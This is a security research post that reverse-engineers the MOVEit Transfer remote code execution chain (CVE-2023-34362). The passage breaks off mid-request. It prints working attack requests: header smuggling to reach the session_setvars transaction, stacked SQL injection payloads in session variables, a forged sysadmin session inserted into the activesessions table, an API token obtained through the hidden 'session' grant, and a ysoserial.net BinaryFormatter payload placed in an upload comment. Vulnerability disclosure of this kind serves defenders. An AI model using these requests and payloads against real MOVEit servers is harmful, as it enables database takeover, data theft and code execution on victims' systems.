Research Notes
June 13, 2023

MOVEIt Transfer RCE Part Two (CVE-2023-34362)

No items found.
Creative Commons license

Where We Left Off

In our last post we detailed our initial work reversing the recent Progress MOVEit Transfer remote code execution vulnerability as well as our proof-of-concept demonstrating the exploit. We implemented checks in our Attack Surface Management platform providing our customers with assurance on whether or not they are affected. However, we declined to post the full exploit chain as it was being actively exploited at the time. Since then, a public proof-of-concept has been posted and so we will now detail the steps we took to reverse the vulnerability.

At this stage in the process, we had a working instance of MOVEit Transfer and were pretty confident that the initial entrypoint was a request to <span class="code_single-line">/MOVEitISAPI/MOVEitISAPI.dll?action=m2</span> which would then pass through to <span class="code_single-line">/machine2.aspx</span>. We also knew from the logs posted online that subsequent requests in the chain included the following endpoints:

  • POST <span class="code_single-line">/guestaccess.aspx</span>
  • POST <span class="code_single-line">/api/v1/token</span>
  • GET <span class="code_single-line">/api/v1/folders</span>
  • POST <span class="code_single-line">/api/v1/folders/{id}/files?uploadType=resumable</span>
  • PUT <span class="code_single-line">/api/v1/folders/{id}/files?uploadType=resumable&fileId={id}</span>

Reversing the DLL with Ghidra

We continued our investigation by decompiling <span class="code_single-line">MOVEitISAPI.dll</span> with Ghidra. Using BinDiff we compared both the patched and unpatched versions and found there were no discernible differences between the two.

From this we concluded that the SQL injection was most likely not in <span class="code_single-line">MOVEitISAPI.dll</span>, however we did still have to analyze the code a little to determine how to correctly call the <span class="code_single-line">/MOVEitISAPI/MOVEitISAPI.dll?action=m2</span> endpoint. We started our search by looking for “machine2” and found the string “Passing along user’s request to machine2”, which was promising.

Looking through the enclosing function we saw what looks like a header <span class="code_single-line">X-siLock-Transaction</span> and a potential value <span class="code_single-line">folder_add_by_path</span>. These will become important later. The check for <span class="code_single-line">folder_add_by_path</span> was also the only way to hit the “Passing along user’s request to machine2” message. Otherwise, we were presented with an “Illegal transaction” message.

local_48 = DAT_180aec878 ^ (ulonglong)auStack_998;
local_930 = param_2;
FUN_1800704e0(param_3,"X-siLock-Transaction",local_8c8 + 0x40,0x40);
iVar3 = FUN_1804da72c(local_8c8 + 0x40,"folder_add_by_path");
iVar12 = 0;
if (iVar3 == 0) {
	local_948[0] = 0;
	FUN_1800d8d10(param_1 + 0x22e28);
	local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
	local_978 = (longlong *)local_848;
	iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
	while (iVar3 != 0) {
		iVar3 = FUN_1804da72c(local_8c8,"Cookie");
	  	if ((iVar3 == 0) || (iVar3 = FUN_1800f4710(local_8c8,"X-siLock-"), iVar3 != 0)) {
	    	FUN_18007fe00(param_1,local_8c8,local_848);
	  	}
	  	local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
	  	local_978 = (longlong *)local_848;
	  	iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
	}
...
	FUN_1800d8520(0x3c,"Passing along user\'s request to machine2");
...
} else {
    uVar8 = FUN_1804daf20(0x7e4,&local_8e8,10);
    FUN_180080270(param_1,"X-siLock-ErrorCode",uVar8);
    FUN_180080270(param_1,"X-siLock-ErrorDescription","Illegal transaction");
}

Finding SQL Injection

We were confident we knew what information would be needed in our request. As such, we moved onto the <span class="code_single-line">/machine2.aspx</span> endpoint to search for the SQL injection location. We loaded the page handler for <span class="code_single-line">/machine2.aspx</span> into dnSpy and found that it just called <span class="code_single-line">Machine2Main</span> on <span class="code_single-line">SILMachine2</span>.

protected void Page_Load(object sender, EventArgs e)
{
	SILMachine2 silmachine = new SILMachine2();
	HttpRequest request = base.Request;
	HttpResponse response = base.Response;
	HttpSessionState session = this.Session;
	HttpApplicationState application = base.Application;
	silmachine.Machine2Main(ref request, ref response, ref session, ref application);
}

Moving into <span class="code_single-line">Machine2Main</span>, we found where all those <span class="code_single-line">X-siLock-*</span> headers were being handled. There was a <span class="code_single-line">CrackInput</span> method which extracted the data from headers. Inside <span class="code_single-line">CrackInput</span> we found a long list of headers that were extracted and sanitised.

private bool CrackInput(string ServerVars)
{
	bool flag = true;
	string text = "X-siLock-Transaction";
	this.InputTransaction = this.GetHeaderValue(ref ServerVars, ref text);
	text = "X-siLock-Username";
	this.InputLoginName = this.GetHeaderValForSQL(ref ServerVars, ref text);
	text = "X-siLock-Password";
	this.InputPassword = this.GetHeaderValForSQL(ref ServerVars, ref text);
	text = "X-siLock-Challenge";
	this.InputChallenge = this.GetHeaderValForSQL(ref ServerVars, ref text);
...

We spent some time investigating the two sanitisation methods used, <span class="code_single-line">GetHeaderValForSQL</span> and <span class="code_single-line">SILUtility.XHTMLClean</span>. But, both were sufficient at preventing injection. The only value that was not sanitised, <span class="code_single-line">X-siLock-Transaction</span>, was not used in any SQL queries.

Progressing through <span class="code_single-line">Machine2Main</span>, the next method that caught our attention was <span class="code_single-line">DoTransaction</span>. This method was near the end of <span class="code_single-line">Machine2Main</span> and we could reach it if we had a valid session cookie, even if it was a guest session. <span class="code_single-line">DoTransaction</span> effectively performed a switch statement on the provided transaction name and executed the corresponding functionality. However, because of restrictions in <span class="code_single-line">MOVEitISAPI.dll</span>, the only transaction we could execute was <span class="code_single-line">folder_add_by_path</span>.

if (Operators.CompareString(inputTransaction, "folder_add_by_path", false) != 0)
{
	goto IL_947;
}
flag = true;
IFolderEngine folderEngine = this.siGlobs.objEngine.folderEngine;
string inputFolderPath2 = this.InputFolderPath;
bool flag9 = false;
int num4 = 2;
List<string> list = null;
List<string> list2 = null;
this.ReplyFolderID = folderEngine.FolderAddByPath(inputFolderPath2, flag9, num4, ref list, ref list2, true, false);
goto IL_97E;

We explored the <span class="code_single-line">FolderAddBypath</span> method, but could not see anything that would lead to SQL injection. All inputs were either sanitised while building the query or came from headers that were sanitised by <span class="code_single-line">CrackInput</span>.

As noted in part one, a piece of functionality that was removed by the patch was the <span class="code_single-line">SetAllSessionVarsFromHeaders</span> method. This method was called when processing the <span class="code_single-line">session_setvars</span> transaction. <span class="code_single-line">SetAllSessionVarsFromHeaders</span> looked interesting as it took the raw input like <span class="code_single-line">CrackInput</span>, but did not do any sanitisation. The values were extracted from the headers and set as session variables. Any header that began with <span class="code_single-line">X-siLock-SessVar</span> and contained a value in the form <span class="code_single-line">KEY: VALUE</span> would be set as a corresponding session variable.

public bool SetAllSessionVarsFromHeaders(string ServerVars)
{
	bool flag = true;
	string[] array = Strings.Split(ServerVars, "\r\n", -1, CompareMethod.Binary);
	int num = Strings.Len("X-siLock-SessVar");
	int num2 = Information.LBound(array, 1);
	int num3 = Information.UBound(array, 1);
	checked
	{
		for (int i = num2; i <= num3; i++)
		{
			if (Operators.CompareString(Strings.Left(array[i], num), "X-siLock-SessVar", false) == 0)
			{
				int num4 = array[i].IndexOf(':', num);
				if (num4 >= 0)
				{
					int num5 = array[i].IndexOf(':', 1 + num4);
					if (num5 > 0)
					{
						string text = array[i].Substring(2 + num4, num5 - num4 - 2);
						string text2 = array[i].Substring(2 + num5);
						this.SetValue(text, text2);
					}
				}
			}
		}
		return flag;
	}
}

Determined to reach this code path and after some fiddling, we were able to smuggle a header through. By sending two <span class="code_single-line">X-siLock-Transaction</span> headers one with a prefix and one without we were able to specify any transaction we needed. Our request now looked like the following.

POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: 192.168.37.144
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: KEY: VALUE
Cookie: ASP.NET_SessionId=mbmku5wyybymnaimli40bg2a; siLockLongTermInstID=0
Content-Length: 0


The <span class="code_single-line">XX-siLock-Transaction: folder_add_by_path</span> header would match appropriately for <span class="code_single-line">MOVEitISAPI.dll</span> to pass the request through to <span class="code_single-line">machine2.aspx</span>, but only <span class="code_single-line">X-siLock-Transaction: session_setvars</span> would get copied to the downstream request. Meaning when <span class="code_single-line">machine2.aspx</span> went to extract the transaction, all the handler would see is <span class="code_single-line">session-setvars</span>.

At this stage we could inject malicious SQL payloads into the session variables, all we had to do was find a location where one of those variables was used in an unsanitised SQL query. To do this we used dnSpy to analyze all the locations the various database query methods were used. We then went through each of these calls looking for any that could be used to perform a SQL injection attack.

We focused on calls in locations that appeared to have a high chance of being accessible such as those in the session handling and <span class="code_single-line">machine2.aspx</span> code paths. Eventually, we made our way to the handler for <span class="code_single-line">/guestaccess.aspx</span>, which was a page we knew was accessed as part of the attack chain and one we had already touched on briefly as that was how we setup our initial session. In this handler we found the following query that looked very injectable:

if (this.m_pkginfo.IsSelfProvisioned)
{
	this.siGlobs.objWrap.DoUpdateQuery(
		"UPDATE guestfileaccess SET Viewed=1 WHERE AccessCode='" +
		this.m_accesscode +
		"'",
		null
	);
	this.m_gotoselfprovisiondone = true;
	this.siGlobs.objUser.RemoveSession();
	this.ClearVariables();
	return;
}

We traced <span class="code_single-line">this.m_accesscode</span> back to find where it was set. This lead us to the following method call in <span class="code_single-line">SILGuestPackageInfo</span>:

public void LoadFromSession()
{
	this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");
	this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");
	this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");
	this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");
	this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");
	this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0;
	this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");
	this.Viewed = ((-((SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) > false) ? 1 : 0)) ? 1 : 0);
}

<span class="code_single-line">AccessCode</span> is the value that would be propagated down to <span class="code_single-line">m_accesscode</span>.

However, there was a problem. <span class="code_single-line">LoadFromSession</span> was called at the start of the handler and the SQL injection point was several hundred lines later. To get through this we attached a debugger and set a breakpoint just after <span class="code_single-line">LoadFromSession</span>, set the <span class="code_single-line">MyPkgAccessCode</span> variable in our request and started stepping through the code.

Each time we hit a check or something missing that would halt the request or send it down the wrong branch, we tweaked our request and tried again. A lot of what we were missing were simple variables needing to be set, but there were several larger pieces which required a bit more work.

The first of these was the CSRF token. Searching through our request history, we didn’t find any requests that had a token in the response. We looked through all the calls to generate a CSRF token (<span class="code_single-line">GetCT</span>) and found one on the <span class="code_single-line">guestaccess.aspx</span> page. It was a bit fiddly, but we tracked it down to needing a specific value for <span class="code_single-line">m_nextform</span> to be set, which we found was possible as follows:

else if (Operators.CompareString(this.m_accesscode, string.Empty, false) == 0)
{
	this.m_nextform = "promptaccesscode";
}
else if (Operators.CompareString(this.m_validationcode, string.Empty, false) == 0)
{
	this.m_nextform = "promptpassword";
}
else if (Operators.CompareString(this.siGlobs.Arg12, string.Empty, false) == 0 || Operators.CompareString(this.siGlobs.Arg12, "message", false) == 0)
{
	this.m_nextform = "pkgview";
}
else
{
	this.m_nextform = this.siGlobs.Arg12;
}

<span class="code_single-line">this.siGlobs.Arg12</span> is set straight from the form parameters. All we had to do was make a request with <span class="code_single-line">arg12=promptaccesscode</span> in the POST body and extract the CSRF token from the response.

The next notable hurdle was right before the SQL injection point in the following call:

string text3 = this.siGlobs.objEngine.msgEngine.MsgPostForGuest(
	ref this.m_pkginfo,
	ref this.siGlobs.Arg01,
	ref cleanedMessage,
	ref this.siGlobs.Arg09,
	ref this.siGlobs.Arg08,
	ref this.siGlobs.Opt19,
	num
);

<span class="code_single-line">MsgPostForGuest</span> constituted over a thousand lines of code to assemble and send a notification about the accessed package. Some of the checks were trivial, like setting a subject and using a “from” address which resembled a valid email address.

The big problem was the session variable <span class="code_single-line">MyPkgSelfProvisionedRecips</span>, it had to contain a comma separated list of email addresses. The addresses specified were used to query the database and find a list of usernames. If no valid users were found, no notification would be sent and we couldn’t hit our SQL injection.

Below is an example of the SQL query used to lookup users based on their email address (we’ve used <span class="code_single-line">x@example.com</span> as our address).

SELECT
	Username, Permission, LoginName, Email
FROM
	users
WHERE
	InstID=0 AND Deleted=0 AND Permission>=10 AND (
		Email='x@example.com' OR 
		`Email` LIKE 'x@example.com,%' OR
		`Email` LIKE '%,x@example.com' OR 
		`Email` LIKE '%,x@example.com,%'
	)
ORDER BY
	LoginName`

Seeing the <span class="code_single-line">LIKE</span> operator we thought we were in luck, <span class="code_single-line">%.com%</span> would just match all addresses and we would be fine. Unfortunately, every <span class="code_single-line">%</span> is either preceded by or followed by a comma. Presumably the application lets users specify multiple email addresses and stores them as a comma separated list.

Whatever the reason, it meant we couldn’t use that technique to bypass this check. We continued looking at how the query was built and found the following:

object obj = NewLateBinding.LateGet(null, typeof(string), "Format", array = new object[]
{
	Operators.ConcatenateObject(
		Operators.ConcatenateObject(
			Operators.ConcatenateObject(
				Operators.ConcatenateObject(
					Operators.ConcatenateObject(
						Operators.ConcatenateObject(
							Operators.ConcatenateObject(
								Operators.ConcatenateObject(
									"SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " ",
									Interaction.IIf(bJustEndUsers, "AND Permission>=" + Conversions.ToString(10) + " ", "")
								),
								"AND "
							),
							"("
						),
						"Email='{2}' OR "
					),
					this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", true, false, true, false)
				),
				Interaction.IIf(bJustFirstEmail, "", " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", true, false, true, false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", true, false, true, false))
			),
			") "
		),
		"ORDER BY LoginName"
	),
	InstID,
	this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
	EmailAddress
}, null, null, array2 = new bool[]
{
	default(bool),
	true,
	default(bool),
	true
});

Although the <span class="code_single-line">LIKE</span> operators were sanitised, <span class="code_single-line">"Email='{2}' OR "</span> was not. This meant we could achieve SQL injection with stacked queries right here. But, since the recipient list is split on commas we would be a bit constrained. Instead, we used this vulnerability to skip needing to know a user’s email by constructing a query which returned the first of all non-deleted users.

SELECT
	Username, Permission, LoginName, Email
FROM
	users
WHERE
	InstID=0 AND Deleted=0 AND Permission>=10 AND (Email='x' or 1=1)
LIMIT 1; -- a' OR  `Email` LIKE 'x' or 1=1) LIMIT 1; -- a,%'  OR  `Email` LIKE '%,x' or 1=1) LIMIT 1; -- a'  OR  `Email` LIKE '%,x' or 1=1) LIMIT 1; -- a,%' ) ORDER BY LoginName`

We were now able to execute our first stacked query with the following payload that would update the innocuous “notes” field of the “sysadmin” user.

POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: 192.168.37.144
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: MyUsername: Guest
X-siLock-SessVar2: MyPkgValidationCode: 1
X-siLock-SessVar3: MyInstMessaging: 1
X-siLock-SessVar4: MyGuestEmailAddr: x@example.com
X-siLock-SessVar5: MyPkgID: 0
X-siLock-SessVar6: MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- a
X-siLock-SessVar7: MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- a
Cookie: ASP.NET_SessionId=21ts1wiqbftjbjqjbrnjbuxj; siLockLongTermInstID=0
Content-Length: 0


After executing our payload we checked the database and were very happy to see that it had worked.

mysql> select notes,loginname from users;
+-------+-----------+
| notes | loginname |
+-------+-----------+
|       | admin     |
| pwned | sysadmin  |
+-------+-----------+
2 rows in set (0.00 sec)

Gaining Admin API Access

With our SQL injection in hand we could now move onto the next step in the chain, which was figuring out how to pivot this into remote code execution.

We knew the attackers were calling API endpoints as part of the exploit and so our next step was determining how to get an API token. We read the documentation for <span class="code_single-line">/api/v1/token</span> and found five possible grant types were available: password, refresh_token, otp, code and external_token. However, we also looked at the implementation and found an unlisted option that was a lot more exciting.

public override async Task GrantCustomExtension(OAuthGrantCustomExtensionContext context)
{
	await this._container.RunAsync(delegate
	{
		if (MOVEitAuthorizationServerProvider.IsSessionGrantType(context))
		{
			this.GrantSessionToken(context);
			return;
		}
		if (MOVEitAuthorizationServerProvider.IsOtpGrantType(context))
		{
			this.GrantOtpToken(context);
			return;
		}
		if (MOVEitAuthorizationServerProvider.IsCodeGrantType(context))
		{
			this.GrantAuthorizationCodeToken(context);
			return;
		}
		if (MOVEitAuthorizationServerProvider.IsExternalTokenGrantType(context))
		{
			this.GrantTokenFromExternalToken(context);
			return;
		}
		context.SetError("invalid_grant");
	});
}

<span class="code_single-line">GrantSessionToken</span> seemed like something that would work much better with our SQL injection. Digging through the call stack, we found that this code path ran the following SQL query to determine whether a session was valid or not.

SILDictionary<string, string> sildictionary =
	new SQLBasicBuilder(this.siGlobs.objWrap, SqlTable.ActiveSessions)
		.AddAllColumnsToSelect()
		.AddAndColumnEqualsToWhere<string>(SqlTable.ActiveSessions, "SessionID", trySessionId, true, "")
		.AddAndColumnEqualsToWhere<int>(SqlTable.ActiveSessions, "Remove", 0, false, "")
		.AddAndToWhere("LastTouch > TIMESTAMPADD(MINUTE, -Timeout, CURRENT_TIMESTAMP)")
		.SetLimit(1)
		.SelectQueryRow();

The query would search the <span class="code_single-line">activesessions</span> table for an entry that matched the current session ID and had not expired. This seemed easy enough to exploit, we created a new session and then ran the following query via SQL injection.

insert into activesessions (
	SessionID,
	Username,
	LoginName,
	LastTouch,
	InterfaceCode,
	IPAddress
) values (
	'sv3b3drb2turhcxna00kewh1',
	(select username from users where loginname='sysadmin'),
	'sysadmin',
	'2023-12-30',
	6,
	'127.0.0.1'
);

Since <span class="code_single-line">username</span> is randomly generated, we would not know what the correct value for the sysadmin user. So we had to run a subquery instead.

(select username from users where loginname='sysadmin')

<span class="code_single-line">InterfaceCode</span> and <span class="code_single-line">IPAddress</span> are both needed for additional checks later on to determine whether or not the session is valid for this request. These values were discovered via the same process as was used for the notification recipients. We attached a debugger and stepped through while tweaking the request until we got into the code branch we wanted.

After running our SQL injection, we requested an API token with the following request. Username and password are required, but ignored.

POST /api/v1/token HTTP/1.1
Host: 192.168.37.144
Connection: close
Cookie: ASP.NET_SessionId=sv3b3drb2turhcxna00kewh1; siLockLongTermInstID=0
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

username=x&password=x&grant_type=session


HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
X-Robots-Tag: noindex
Date: Fri, 09 Jun 2023 06:04:27 GMT
Connection: close
Content-Length: 826

{"access_token":"RytHoy6hAz_i9G49Gb0IWrhFL3cwGah685NkjRrrK9mrDTUvxJcq09G6ymqCHf3aMkFaa6Y-nMr61fxBbaPAAjJIAKE_Rp03FsQNdEpVmSYUxAl_D37l5PkyEivp24SFC5xJqP_liugbZJSV4yc3MpyziDzvu1ZYIUynRkMVWKdPDF-EF0z470967s5NDbvsPW35CZgZS2ypZjrIrPxxq6fyncBaMEAfOU41rPq82BKKxCV-IvPDABVuEu5ZrxwPeYwMzljoEek2x-LCEnvqSLa1SSPWMze5KKKPCMRDINWQzTisJg9BiIXwW73RR7yO-tq7VF_Okvma58mdl1T9dAm9K9_apIhZvAECandwhHSSvC68KwRIkw","token_type":"bearer","expires_in":1199,"refresh_token":"DgWX254Nv7nN-M1D2UHIsBXGLlJMjd8ueH9_xV_O31UzSlaEGTfYvwpGRV44y3kBIrtyMtyBYyJUUVeB2k5JpdsR8sIcIk8spk79bzEMm7FhqZ-YFteGiv2NDWhgNl7J5OKBIlt6PMWfgU5oKkv8BH0XIVnE9azw2Q_mbrZp8DSzEpTqSaJWkBGSCPzGyj_Mwmj3Xj6h6Za5BSW4UUJOic0-rDpzhEcazKfDwh2VY-llxNjxT4vql9nFR6gO7IiZ3VjvkN4CPpUzXttjLB2BFlbkIjOjWv-1ppbHKwljeH3rH-IYnQcKG9nZgmEjRv2NzDHSB3apv3MgRhYfHILfjwBaJWl7SaQhVXSdymO443GmgevvxBswZA"}

RCE, But Not What We Expected

We were pretty close. We had full control of the database and full access to the API. But, we still didn’t have the full attack chain.

From the released logs we were confident the next step involved the following endpoints.

  • GET <span class="code_single-line">/api/v1/folders</span>
  • POST <span class="code_single-line">/api/v1/folders/{id}/files?uploadType=resumable</span>
  • PUT <span class="code_single-line">/api/v1/folders/{id}/files?uploadType=resumable&fileId={id}</span>

Our theory was an attacker creates a “resumable” file upload, uses SQL injection to modify the upload’s destination and then continues with the upload. To begin, we looked at the request handlers for resumable uploads. Below is the handler for uploading the file content.

[HttpPut]
[Route("{Id}/files", Name = "FolderUploadFilePart")]
[ApiExplorerSettings(IgnoreApi = true)]
public async Task<IHttpActionResult> UploadFilePart([FromUri] FolderUploadFilePartRequest request)
{
	IEnumerable<string> enumerable;
	if (base.Request.Headers.TryGetValues("X-File-Hash", out enumerable))
	{
		request.FileHash = enumerable.First<string>();
	}
	HttpContent content = this._bufferlessContentProvider.GetContent(base.Request);
	if (content.Headers.ContentLength != null)
	{
		request.ChunkSize = content.Headers.ContentLength.Value;
	}
	IEnumerable<string> enumerable2;
	if (content.Headers.TryGetValues("Content-Range", out enumerable2))
	{
		ContentRangeHeaderValue contentRangeHeaderValue;
		ContentRangeHeaderValue.TryParse(enumerable2.First<string>(), out contentRangeHeaderValue);
		request.UploadRange = contentRangeHeaderValue;
	}
	using (Stream stream = this._resumableUploadFilePartHandler.GetUploadStream(request))
	{
		if (stream != Stream.Null)
		{
			await base.Request.Content.CopyToAsync(stream);
		}
	}

The interesting line was <span class="code_single-line">this._resumableUploadFilePartHandler.GetUploadStream(request)</span>. If we could control the output file connected to this <span class="code_single-line">Stream</span>, we could write a payload into the webroot and get remote code execution. Unfortunately, after tracking down where the stream was created we found the following:

private FileTransferStream CreateFileUploadStream(DataFilePath filePath)
{
	return new FileTransferStream(
		filePath,
		EncryptedStream.CryptoMode.Encryption,
		this._fileSystemFactory
	);
}

Any files saved as part of the resumable file upload were always encrypted on disk. This meant that even if we could control where the files were saved, they would not be executed.

However, there was a silver lining. While tracking down the creation of the upload stream, we came across <span class="code_single-line">DeserializeFileUploadStream</span>. A new stream would only be created if <span class="code_single-line">_uploadState</span> was empty. Otherwise, one was deserialised. If we could control the <span class="code_single-line">_uploadState</span> variable, we could could achieve remote code execution via unsafe deserialisation.

private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
{
	if (this._uploadState.Length == 0)
	{
		return this.CreateFileUploadStream(filePath);
	}
	int num = 1;
	...
	BinaryFormatter binaryFormatter = new BinaryFormatter
	{
		Context = new StreamingContext(StreamingContextStates.All, fileHeaderStream)
	};
	FileTransferStream fileTransferStream;
	using (MemoryStream memoryStream = new MemoryStream(this._uploadState))
	{
		fileTransferStream = (FileTransferStream)binaryFormatter.Deserialize(memoryStream);
	}
	return fileTransferStream;
}

Again, we used dnSpy’s analyzer to determine where <span class="code_single-line">_uploadState</span> was assigned and found only one location.

We looked into <span class="code_single-line">GetFileUploadInfo</span> we found the following.

private bool GetFileUploadInfo()
{
	string tableNameAttribute = SqlTable.FileUploadInfo.GetTableNameAttribute();
	string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute();
	SILDictionary<string, string> sildictionary =
		new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo)
			.AddColumnToSelect(tableNameAttribute, "Comment")
			.AddColumnToSelect(tableNameAttribute, "XferID")
			.AddColumnToSelect(tableNameAttribute, "State")
			.AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute + ".FileID")
			.AddAndToWhere(tableNameAttribute + ".FileID='" + this._fileId + "'")
			.AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'")
			.SelectQueryRow();
	if (sildictionary == null)
	{
		this.SetParameterError(3800, 90512, this._fileId);
		return false;
	}
	this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(sildictionary["Comment"]);
	this._xferId = long.Parse(sildictionary["XferID"]);
	this._uploadState = Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(sildictionary["State"]));
	return true;
}

The <span class="code_single-line">_uploadState</span> was set from the database. This meant we could use SQL injection to set it. But, there was a catch, the <span class="code_single-line">State</span> field was encrypted.

After some investigation, it seemed unlikely that we would find an easy way to bypass the encryption. Instead, we looked for locations where the application would encrypt data for us and save it to the database. That way, all we had to do was use our SQL injection to copy the value over.

We looked through all the calls to <span class="code_single-line">DBFieldEncrypt</span> and found one that should have been obvious.

private void CreateUploadInfo()
{
	DMLRecord dmlrecord = new DMLRecord(this._globals, SqlTable.FileUploadInfo);
	dmlrecord.AddColumn("FileID", this._fileId, false);
	dmlrecord.AddColumn("Comment", this._globals.objUtility.DBFieldEncrypt(this._comment), false);
	dmlrecord.AddColumn("XferID", this._xferId, false);
	dmlrecord.DoInsert();
}

The <span class="code_single-line">Comment</span> field of the table we were already looking at was also encrypted. We didn’t even need to call a new endpoint, all we had to do was set the comment to our payload when we created the resumable file upload.

So we generated a payload with ysoserial.net.

>ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "whoami > C:\x.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA2AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBd3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lFTTZYSGd1ZEhoMElpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9Cw==

Sent the first request which created the resumable upload.

POST /api/v1/folders/964602477/files?uploadType=resumable HTTP/1.1
Host: 192.168.37.144
Connection: close
Authorization: Bearer ...
Content-Length: 2374
Content-Type: multipart/form-data; boundary=25233a574988c6ad054da8335aeb4c35

--25233a574988c6ad054da8335aeb4c35
Content-Disposition: form-data; name="name"; filename="name"

x.txt
--25233a574988c6ad054da8335aeb4c35
Content-Disposition: form-data; name="comments"; filename="comments"

